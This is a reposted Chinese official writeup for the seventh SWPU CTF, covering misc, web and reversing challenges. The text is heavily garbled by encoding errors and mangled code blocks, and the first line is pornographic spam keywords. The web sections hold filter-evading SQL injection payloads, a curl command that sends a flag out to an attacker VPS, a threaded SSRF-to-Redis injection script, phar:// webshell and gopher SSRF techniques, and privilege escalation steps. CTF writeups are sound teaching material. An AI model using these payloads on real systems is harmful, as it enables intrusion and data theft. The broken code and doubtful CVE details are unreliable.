乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      CTF攻略:第七屆swpu-ctf官方Writeup

       心悅仰空 2022-02-10

      CTF攻略:第七屆swpu-ctf官方Writeup

        預(yù)估稿費(fèi):300RMB(不服你也來(lái)投稿?。。?/p>

        misc 100-1

        misc.08067/misc4

        misc 100-1 很簡(jiǎn)單,就是jsfuck和brianfuck兩次編碼,直接解出即可。

        CTF攻略:第七屆swpu-ctf官方Writeup

        CTF攻略:第七屆swpu-ctf官方Writeup

        Misc 100-2

        misc.08067/misc3/

        Misc 100-2題目給的是一個(gè)圖片,用winhex打開(kāi)看到底部的密文

        CTF攻略:第七屆swpu-ctf官方Writeup

        Base32解密得到:vbkq{

        ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}

        發(fā)現(xiàn)是凱撒加密,不過(guò)奇偶數(shù)移位方向不一樣,發(fā)現(xiàn)偏移量是16,用腳本跑一下

        12345678910111213141516171819202222232425262728293031323334353637383940414243str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"for i in range(26): key = '' for x in str: s = ord(x) if (s not in range(97,123)) and (s not in range(65,91)): key = key + chr(s) else: #print chr(s) if s in range(97,123): if s % 2 == 0: s = s - i if s not in range(97,123): t = 97-s t = 123-t key = key + chr(t) else: key = key + chr(s) else: s = s + i if s not in range(97,123): t = s-122+96 key = key + chr(t) else: key = key + chr(s) else: #print chr(s) if s % 2 == 0: s = s - i if s not in range(65,91): t = 65-s t = 91-t key = key + chr(t) else: key = key + chr(s) else: s = s + i if s not in range(65,91): t = s-90+64 key = key + chr(t) else: key = key + chr(s) print key

        Misc 150

        misc.08067/misc2/

        打開(kāi)wireshark數(shù)據(jù)包,提取http數(shù)據(jù),得到一個(gè)flag.zip,

        CTF攻略:第七屆swpu-ctf官方Writeup

        解壓得到一個(gè)ce.txt文件,打開(kāi)發(fā)現(xiàn)是一個(gè)rgb圖片的像素點(diǎn),然后用腳本還原即可。

        12345678910111213141516171819from PIL import Imageimport reif __name__ == '__main__': x = 887 y = 111 i = 0 j = 0 c = Image.new("RGB", (x,y)) file_object = open('ce.txt') for i in range(0, x): for j in range(0, y): line = file_object.next() lst = line.split(",") c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2]))) c() c.save("c.png")

        web 200-1

        web1.08067/

        注入,過(guò)濾了空格、#、*、union、like、regexp、and、or、|、--、&、%0a、%0b、%0c、%0d等,需要想辦法用其他操作符連接注入語(yǔ)句和閉合’。

        mysql操作符參考:

        blog.csdn/yuzongtao/article/details/45044963

        幾個(gè)可用的poc:

        1uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd1uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd1uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd1uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

        來(lái)到后臺(tái),可以執(zhí)行命令,但是對(duì)反彈shell的一些關(guān)鍵字做了過(guò)濾,對(duì)空格也做了過(guò)濾,只能通過(guò)cat讀取flag,沒(méi)又回顯,然后打到用遠(yuǎn)程vps的日志上面

        exp:

        curl$IFS\vps:1234/`cat$IFS\../../flag`

        CTF攻略:第七屆swpu-ctf官方Writeup

        CTF攻略:第七屆swpu-ctf官方Writeup

        web 200-2

        web3.08067/

        這道題主要是考察了php底層 wakeup 的一個(gè)bug,

        bugs.php/bug.php?id=72663

        這道題根據(jù)tips:編輯器,可以考慮到.bak文件泄露

        通過(guò) robots.txt 發(fā)現(xiàn)了 function.php commom.php ,

        最后找到了 function.php.bak index.php.bak

        我們就獲得了 整道題的代碼

        Index.php.bak

        CTF攻略:第七屆swpu-ctf官方Writeup

        我們可以看見(jiàn)了這里 通過(guò) cookie 的登陸

        /function.php.bak

        CTF攻略:第七屆swpu-ctf官方Writeup

        其他過(guò)濾代碼 在該文件都可以得到

        addslashes_deep() 是無(wú)法繞過(guò)的,我們就只能繞過(guò)wakeup

        根據(jù)那個(gè)bug 的描述,我們直接進(jìn)入 __destruct() ,這里我們?nèi)〕隽?$this->name

        $this->name 是base64decode后,然后反序列化得到的,不用考慮waf等東西

        我們看了這里只有一個(gè) Checksql($sql)

        1234567891011121314151617181920222223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586//sql 過(guò)濾 static function CheckSql($db_string,$querytype='select') { $clean=''; $error=''; $old_pos=0; $pos=-1; if($querytype=='select') { $notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } } //完整的SQL檢查 while (TRUE) { $pos=strpos($db_string, '\'', $pos + 1); if ($pos===FALSE) { break; } $clean .=substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1=strpos($db_string, '\'', $pos + 1); $pos2=strpos($db_string, '\\', $pos + 1); if ($pos1===FALSE) { break; } elseif ($pos2==FALSE || $pos2 > $pos1) { $pos=$pos1; break; } $pos=$pos2 + 1; } $clean .='$s$'; $old_pos=$pos + 1; } $clean .=substr($db_string, $old_pos); $clean=trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, '@') !==FALSE OR strpos($clean,'char(')!==FALSE OR strpos($clean,'"')!==FALSE OR strpos($clean,'$s$$s$')!==FALSE) { $fail=TRUE; if(preg_match("#^create table#i",$clean)) $fail=FALSE; $error="unusual character"; } elseif (strpos($clean, '/*') !==FALSE ||strpos($clean, '-- ') !==FALSE || strpos($clean, '#') !==FALSE) { $fail=TRUE; $error="comment detect"; } elseif (strpos($clean, 'sleep') !==FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) !=0) { $fail=TRUE; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !==FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) !=0) { $fail=TRUE; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !==FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) !=0) { $fail=TRUE; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !==FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) !=0) { $fail=TRUE; $error="file fun detect"; } if (!empty($fail)) { exit("Error" . $error); } else { return $db_string; } } }

        這就是改版的80sec-ids ,這里只要研究一下就會(huì)發(fā)現(xiàn),這里可用sleep() 函數(shù),繞過(guò)80sec-ids 進(jìn)行盲注,就可以得到flag了.

        web 100

        web2.08067/

        這是一道基于php特殊協(xié)議的利用的題目。

        根據(jù)首頁(yè)提示,可以發(fā)現(xiàn)include.php頁(yè)面存在文件包含漏洞,利用參數(shù)file,右鍵源碼查看獲tips:upload.php。上傳加文件包含很容易想到getshell。

        首先利用php://filter讀取兩個(gè)文件的源碼,可以發(fā)現(xiàn)只能上傳圖片文件,并且file參數(shù)后強(qiáng)行加了php后綴,又過(guò)濾了..,所以不能跨目錄,php版本為5.5,也不存在截?cái)?。而且這個(gè)環(huán)境并不支持zip協(xié)議,于是只有利用phar://協(xié)議getshell。

        構(gòu)造xxx.zip文件,里面加入我們的一句話文件并壓縮,改名為圖片后綴名上傳,最后getshell,exp如下:

        CTF攻略:第七屆swpu-ctf官方Writeup

        Web 200 -3

        web2.08067/

        這道題是接著web100之后的,拿到web100的shell后,就會(huì)在根目錄下發(fā)現(xiàn)tips文件,

        獲得hint: tomcat.08067以及flag2在root目錄下,這很容易讓人想到需要提權(quán)。

        訪問(wèn)tomcat.08067這個(gè)地址后,發(fā)現(xiàn)tomcat的管理后臺(tái)是404,也就是說(shuō)一些常規(guī)的tomcat部署war的漏洞無(wú)法利用,但又需要提權(quán)所以很容易聯(lián)想到最近爆出(CVE-2022-1240)tomcat本地提權(quán)漏洞。這樣就需要從apache權(quán)限用戶獲得一個(gè)tomcat用戶權(quán)限,這個(gè)地方確實(shí)有一點(diǎn)小腦洞。

        我們?cè)O(shè)置了tomcat的web根目錄為apache可寫,這樣就可以通過(guò)菜刀翻到tomcat的web根目錄寫入jsp一句話獲得tomcat權(quán)限,最后再上exp獲取root權(quán)限即可。

        參考地址:

        freebuf/vuls/115862.html

        利用過(guò)程中注意事項(xiàng):

        1.寫入exp的時(shí)候注意windows下的換行是\r

        ,而linux下的是

        .

        2.獲取tomcat的webshell后最好反彈一個(gè)shell到自己的vps上,用交互式shell更方便操作。

        (這個(gè)題上線的前一天,出現(xiàn)了臟牛漏洞,導(dǎo)致很多師傅在服務(wù)器上嘗試用臟牛提權(quán)。所以服務(wù)器會(huì)崩潰,最后寫了定時(shí)回滾腳本解決。)

        web 200-4

        web7.08067/web7

        這個(gè)題是用cherry寫的,一個(gè)輕量級(jí)的python web框架,在400錯(cuò)誤的時(shí)候就可以知道。前端寫

        得比較爛,直接一個(gè)表單加張背景圖片。~/~

        CTF攻略:第七屆swpu-ctf官方Writeup

        CTF攻略:第七屆swpu-ctf官方Writeup

        這個(gè)題是利用了Python urllib HTTP頭注入向然后造成ssrf,操作redis可以更改管理員賬號(hào)密碼,然后登錄。但是提示fast fast fast。

        其實(shí)是后臺(tái)有個(gè)腳本在一直修改賬號(hào)密碼,所以導(dǎo)致登錄不成功,所以需要多線程去操作redis修改賬號(hào)面膜然后登錄。(這里有腦洞,已吊打出題人)

        腳本實(shí)現(xiàn)

        123456789101112131415161718192022222324252627282930313233import requestsimport threadingdef test(): while True: try: url="web7.08067/web7/input" data={'value': '127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo'} requests.post(url, data=data) except Exception, e: passdef test2(): while True: try: url="web7.08067/web7/admin" data={'passworld': 'xx00'} text=requests.post(url, data=data).text if 'flag' in text: print text except: passlist=[]for i in range(10): t=threading.Thread(target=test) t.setDaemon(True) t.start() list.append(t)for i in range(10): t=threading.Thread(target=test2) t.setDaemon(True) t.start() list.append(t)for i in list: i.join()

        CTF攻略:第七屆swpu-ctf官方Writeup

        web 300

        web5.08067/

        這個(gè)題一看界面,就想到時(shí)ssrf

        CTF攻略:第七屆swpu-ctf官方Writeup

        經(jīng)過(guò)測(cè)試,可以直接發(fā)起請(qǐng)求,也沒(méi)有任何的內(nèi)網(wǎng)地址過(guò)濾。然后就是尋找內(nèi)網(wǎng)段。

        這里就是利用file://協(xié)議去讀本機(jī)的網(wǎng)卡。

        centos的網(wǎng)卡地址

        /etc/sysconfig/network-scripts/ifcfg-eth0。

        然后得到這臺(tái)主機(jī) 所處的內(nèi)網(wǎng)的網(wǎng)段是在172.16.181.0/24段。

        CTF攻略:第七屆swpu-ctf官方Writeup

        然后探測(cè)下C段,發(fā)現(xiàn)只有172.16.181.166主機(jī)的80 存在一個(gè)應(yīng)用。

        CTF攻略:第七屆swpu-ctf官方Writeup

        嘗試掃一波目錄,發(fā)現(xiàn)了一個(gè)常規(guī)目錄admin/login.php,訪問(wèn)之,發(fā)現(xiàn)一個(gè)登陸表單

        CTF攻略:第七屆swpu-ctf官方Writeup

        不過(guò),這里的method是POST教程

        既然是POST,自然就想到了利用gopher協(xié)議構(gòu)造POST包。這里開(kāi)始 就需要特別細(xì)心了。

        大概有以下幾點(diǎn):

        1.這里的表單action是wllmctf_login.php而不是login.php,很多師傅就是這里被坑了一波。

        2.gopher發(fā)包一定要填寫端口,因他不像http默認(rèn)走80端口。

        3.注意post包里面的Content-Length的長(zhǎng)度一定要和post的內(nèi)容長(zhǎng)度相符合,很多師傅這個(gè)地方都忘記了,導(dǎo)致被坑了很久

        4.記得加上Content-Type:

        application/x-www-form-urlencoded,然后記得是兩次url編碼

        大概的構(gòu)造好之后的poc如下圖,

        CTF攻略:第七屆swpu-ctf官方Writeup

        可以看到,這里用戶名錯(cuò)誤會(huì)報(bào)error names,如果密碼錯(cuò)誤回返回password error。

        CTF攻略:第七屆swpu-ctf官方Writeup

        很容易測(cè)出來(lái)這個(gè)這個(gè)地方有注入,什么都沒(méi)有過(guò)濾,是bool盲注,所以只接就能寫腳本跑用戶名密碼。

        最后得到用戶名是admin,跑出的密碼MD5解密之后是xiaozhang123.

        最后填入正確用戶名和密碼。得到flag

        CTF攻略:第七屆swpu-ctf官方Writeup

        這個(gè)題不難,貴在一定要細(xì)心啊

        web 400

        web4.08067/

        這是一道代碼審計(jì)的題,訪問(wèn) /web.zip 就拿到了源碼,

        我們?cè)?riji.php 這里發(fā)現(xiàn)了

        CTF攻略:第七屆swpu-ctf官方Writeup

        由于是偽全局 機(jī)制,我們這里可以發(fā)現(xiàn)一個(gè)變量覆蓋,只要在登陸后,讓查詢用戶不存在就可以了,

        下面漏洞觸發(fā)點(diǎn)為

        CTF攻略:第七屆swpu-ctf官方Writeup

        再看 api.php, 我們這里看見(jiàn)了 del_user 操作,只要?jiǎng)h除了用戶,我們就可以觸發(fā)上面的變量覆蓋漏洞了,

        CTF攻略:第七屆swpu-ctf官方Writeup

        權(quán)限確認(rèn)這里,一看這種校驗(yàn)方式 就會(huì)發(fā)現(xiàn)存在 hash擴(kuò)展攻擊,然后我們需要找到 admin 的key 的一個(gè)密文就可以構(gòu)造密文,繞過(guò)權(quán)限驗(yàn)證了,

        Forget.php 找回密碼處

        CTF攻略:第七屆swpu-ctf官方Writeup

        我們發(fā)現(xiàn)了可以獲取任意用戶key的md5加密的密文,這里hash擴(kuò)展攻擊的條件已經(jīng)滿足

        我們?cè)賮?lái)繼續(xù)看看 api.php

        CTF攻略:第七屆swpu-ctf官方Writeup

        這里我們就需要找到當(dāng)前用戶的id才能刪除我們的用戶,

        /index.php 就會(huì)將 userid 寫入到 cookie 中,刪除條件就滿足了

        CTF攻略:第七屆swpu-ctf官方Writeup

        所以整體邏輯就是,先登錄用戶,抓取 userid ,然后找回 管理員(admin) 的密碼

        然后 通過(guò)api.php 接口刪除用戶,我們用登陸后的用戶訪問(wèn) riji.php ,傳入 id 參數(shù)

        就可以了,這里沒(méi)有任何過(guò)濾,直接聯(lián)合查詢,就查到了flag

        CM50

        misc.08067/CM50/

        第一眼看題。 好直接上工具! eXeScope

        CTF攻略:第七屆swpu-ctf官方Writeup

        噠~噠 就在這里!

        CTF攻略:第七屆swpu-ctf官方Writeup

        CM100

        misc.08067/CM5100/

        CTF攻略:第七屆swpu-ctf官方Writeup

        直接丟IDA 然后搜字符竄。Wrong~ 找到關(guān)鍵函數(shù)。仔細(xì)看看其實(shí)算法很簡(jiǎn)單只是其余處理稍微復(fù)雜。其實(shí)就是一步異或操作。尋找到常量 26544631 和 12345678 進(jìn)行異或。

        CTF攻略:第七屆swpu-ctf官方Writeup

        Flag出來(lái)了

        Flag{lr{-l0F-)uFe?}

        CM150

        misc.08067/CM150/

        Apk逆向出題人不太會(huì),直接貼源碼吧!

        12345678910encode=Encode1(Flag,Flag.length()); encode1=Encode2(encode,Flag); flag=check(encode1); if (flag==1) { Toast.makeText(MainActivity.this, "WOw~, You got it !", Toast.LENGTH_SHORT)(); } else { Toast.makeText(MainActivity.this, "trg again~", Toast.LENGTH_SHORT)();

        兩個(gè)加密函數(shù),一個(gè)檢查函數(shù),進(jìn)去

        1234567891011121314151617181920222223242526272829303132333435363738394041424344454647484950515253545556public String Encode1(String Flag , int len){char [] xor=Flag.toCharArray();int key=29; int temp;int [] encode=new int [16];if (len==16){for (int i=0;i<flag.length();i++){encode[i]=(int)xor[i];encode[i]=encode[i]^key;}for (int="" i="1" ;="" i<="" 8="" i++){temp="encode[i];encode[i]=encode[15-i];encode[15-i]=encode[i];}for" 16="" i++){xor[i]="(char)encode[i];}return" string.valueof(xor);}else{flag="lalalalalalala~~" ;return="" flag;}}public="" string="" encode2(string="" encode,string="" flag){char="" []="" xor1="encode.toCharArray();char" xor2="Flag.toCharArray();" for="" (i%2="=0)xor1[i]=xor2[i];}" return="" string.valueof(xor1);}public="" int="" check(string="" encode1){char="" xor="encode1.toCharArray();int" []sum="new" [16];int="" []sum1="{73," 48,="" 109,="" 97,="" 115,="" 46,="" 95,="" 116,="" 105,="" 111,="" 51,="" 89,="" 124,="" 73,="" 45,="" 73};for="" 16;="" i++){sum[i]="(int)xor[i];if(sum[i]" !="sum1[i])return" 0;}return="" 1;}

        由于出題人水平問(wèn)題,導(dǎo)致此題有多解(已被吊打)

        CM200

        misc.08067/CM200/

        CM200其實(shí)就是RC4的應(yīng)用。下GetWindowText斷下來(lái),出題人VM了兩個(gè)函數(shù)強(qiáng)行加大了難度,但是從其他調(diào)用函數(shù)還是能夠看出來(lái)是RC4。識(shí)別出來(lái)了是RC4,剩下就是找key 和 Ecode了。

        關(guān)于key:

        你很容易就能找到 swpu。

        關(guān)于Ecode:

        0x34, 0x73, 0xffffffaa, 0xffffffd9, 0xffffff88, 0x10, 0xfffffff7, 0xffffffab, 0xffffffbb, 0x7, 0xffffffc6, 0xffffff8b, 0xffffffd1, 0xffffff92, 0x20, 0xffffffed, 0x25, 0x2f, 0x32, 0x27, 0xffffffdc

        轉(zhuǎn)一下再解RC4

        Flag出來(lái)了

        Flag{y3s_Is_tH3_LaSt}

        當(dāng)然這道題還有其他解題思路,我也從其他大牛那里學(xué)到了按位爆破。

        CM300:

        misc.08067/CM300/

        CM300分為兩個(gè)部分第一個(gè)為key 和 第二個(gè)部分 flag

        Key輸入進(jìn)行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52, 229, 129, 55轉(zhuǎn)為16進(jìn)制。再去解md5就OK。

        Flag部

        直接貼碼了

        123456789101112131415161718192022222324252627282930313233343536373839404142434445464748495051void Encode1(unsigned char *decrypt, unsigned char *Flag){for ( int i=0; i < 16; i++){Flag[i] ^=decrypt[i];if (i % 2==0 && i < 9)Flag[i] -=40;if (i % 2 !=0 && i < 9)Flag[i] +=1;if (i>=9){if (i < 12)Flag[i] -=50;elseFlag[i] -=9;}}}void Encode2(unsigned char *decrypt, unsigned char * Flag){for (int i=0; i < 16; i++){Flag[i] ^=29;if (i%2 !=0){Swap(&Flag[i-1],&Flag[i]);}}Encode1(decrypt, Flag);}void Swap(unsigned char *p1, unsigned char *p2){char temp;temp=*p1;*p1=*p2;*p2=temp;}int Decode(unsigned char * Flag){int i=Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 + Flag[15] - 230 - 15;return i;}

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約